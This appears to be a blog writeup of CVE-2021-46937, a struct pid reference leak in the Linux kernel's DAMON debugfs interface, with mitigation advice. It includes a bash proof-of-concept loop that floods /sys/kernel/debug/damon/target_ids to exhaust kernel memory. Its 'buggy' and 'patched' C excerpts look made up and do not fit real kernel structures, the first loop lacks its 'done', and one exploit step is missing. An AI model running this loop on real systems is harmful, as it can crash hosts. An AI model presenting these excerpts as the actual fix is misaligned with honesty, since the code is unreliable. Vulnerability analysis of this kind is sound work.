In 2021, a vulnerability identified as CVE-2021-46937 was discovered and patched in the Linux kernel, affecting the DAMON (Data Access MONitor) debugfs interface. This issue caused a reference count leak of struct pid objects due to improper management in the dbgfs_target_ids_write() function. Although subtle, such leaks can allow unprivileged users to consume kernel memory, possibly leading to system resource exhaustion (a type of DoS scenario).
In this post, we'll break down the vulnerability, show you exactly where the problem happened in the code, discuss how an attacker could exploit it, and look into the official fix. This is a deep technical dive, written in simple language and full of citations.
What is DAMON and debugfs?
DAMON is a feature in the Linux kernel used by developers and system administrators to monitor memory access patterns at runtime. It can help with tasks like performance tuning and memory debugging.
debugfs is a virtual file system Linux provides for debugging the kernel. Registered modules can create files under /sys/kernel/debug/, which allow developers to interact with the kernel internals.
The Vulnerability Explained
The vulnerability lives in mm/damon/dbgfs.c in DAMON's debugfs interface, specifically in how it manages struct pid references when interacting with the target_ids file.
Technical Description
Every time userspace writes to the DAMON debugfs target_ids file to set new monitoring targets (by supplying PIDs), code in dbgfs_target_ids_write() fetches those PIDs and increments their kernel reference counts. The mistake: it doesn't always decrement those references, especially if the main monitoring session isn't (re)started between writes. This leads to reference leaks — the associated kernel objects don't get freed, slowly wasting kernel memory.
Reproduction Flow
1. User writes to /sys/kernel/debug/damon/target_ids multiple times.
2. The kernel increases the struct pid reference each time, but only decrements it when the session is terminated.
3. If session isn't restarted/terminated between writes, reference counts leak.
Here's a simplified version of the buggy code for illustration
static ssize_t dbgfs_target_ids_write(struct file *file,
const char __user *buf, size_t count, loff_t *ppos)
{
// parse pids from userspace
struct pid *pid = find_get_pid(pid_nr);
list_add(&pid->node, &pid_list);
// ... but missing:
// put_pid(pid); // This should have been somewhere on cleanup
return count;
}
Whenever a PID is processed, its reference goes up (find_get_pid()), but unless carefully cleaned up (put_pid()), it will never be freed.
Exploit Scenario: How Could an Attacker Abuse CVE-2021-46937?
Access Needed: The exploit assumes the attacker has permission to write to the DAMON debugfs interface. By default, this is root-only — so in most hardened systems it's less dangerous, but:
Exploit Steps
1. Write new (or even the same) PID(s) repeatedly to /sys/kernel/debug/damon/target_ids:
for i in $(seq 1 10000); do
echo $$ > /sys/kernel/debug/damon/target_ids
No corresponding session termination is performed, so every write leaks a reference.
3. Kernel memory grows until system resources are exhausted, leading to a DoS (kernel runs out of memory for task structures, the OOM killer may trigger, or the system hangs).
Exploit PoC (Proof of Concept) Bash Script
#!/bin/bash
OUTFILE="/sys/kernel/debug/damon/target_ids"
for i in $(seq 1 100000); do
echo $$ > "$OUTFILE"
done
*Danger: This can destabilize a system and should only be run in a controlled environment!*
The Official Patch & How It Fixes The Leak
See the original commit here:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6a2c9e050a6c82f5748e00cf7554d8de0317f38d
Patch Explanation
The fix ensures that any previous struct pid objects held by the monitoring targets are properly decremented (i.e., put_pid()) before new ones are assigned via the file write.
Relevant Patch Excerpt
static ssize_t dbgfs_target_ids_write(struct file *file,
const char __user *buf, size_t count, loff_t *ppos)
{
// ... setup code ...
// Release all previous pid references before assigning new ones
list_for_each_entry_safe(old_pid, tmp, &pid_list, node) {
put_pid(old_pid->pid);
list_del(&old_pid->node);
kfree(old_pid);
}
// Now assign new pids and track them
struct pid *pid = find_get_pid(pid_nr);
if (pid)
list_add(&pid->node, &pid_list);
// ...
}
Key improvement:
Now, every time target_ids is written, all old references are dropped, preventing leak buildup.
Systems Without Unprivileged Debugfs Access: Impact is minimal to none.
- Systems With Debugfs Exposed or Lowered Permissions (dev boards, containers, test environments): DoS is easily possible.
Always restrict access to debugfs in production.
- Update your kernel to a version containing the fix (committed in June 2021).
- Use tools like LKRG to watch for kernel resource overuse.
References
- CVE Entry: NVD - CVE-2021-46937
- Official Patch: git.kernel.org commit
- Vulnerability Announcement: lore.kernel.org mail thread
- DAMON Documentation
Conclusion
CVE-2021-46937 is a classic "reference leak" in a kernel debug interface. While not a "remote code execution" bug, such leaks can be insidious, leading to unkillable kernel memory consumption and eventual denial-of-service.
If your devices use DAMON and/or debugfs, verify you're running a kernel with this fix. Always keep debug features locked down in production — and remember, even "innocuous" debugging endpoints can sometimes be turned against you.
If you found this deep dive helpful, share it with your team or follow up for more kernel security writeups!
Timeline
Published on: 02/27/2024 10:15:08 UTC
Last modified on: 04/10/2024 18:59:16 UTC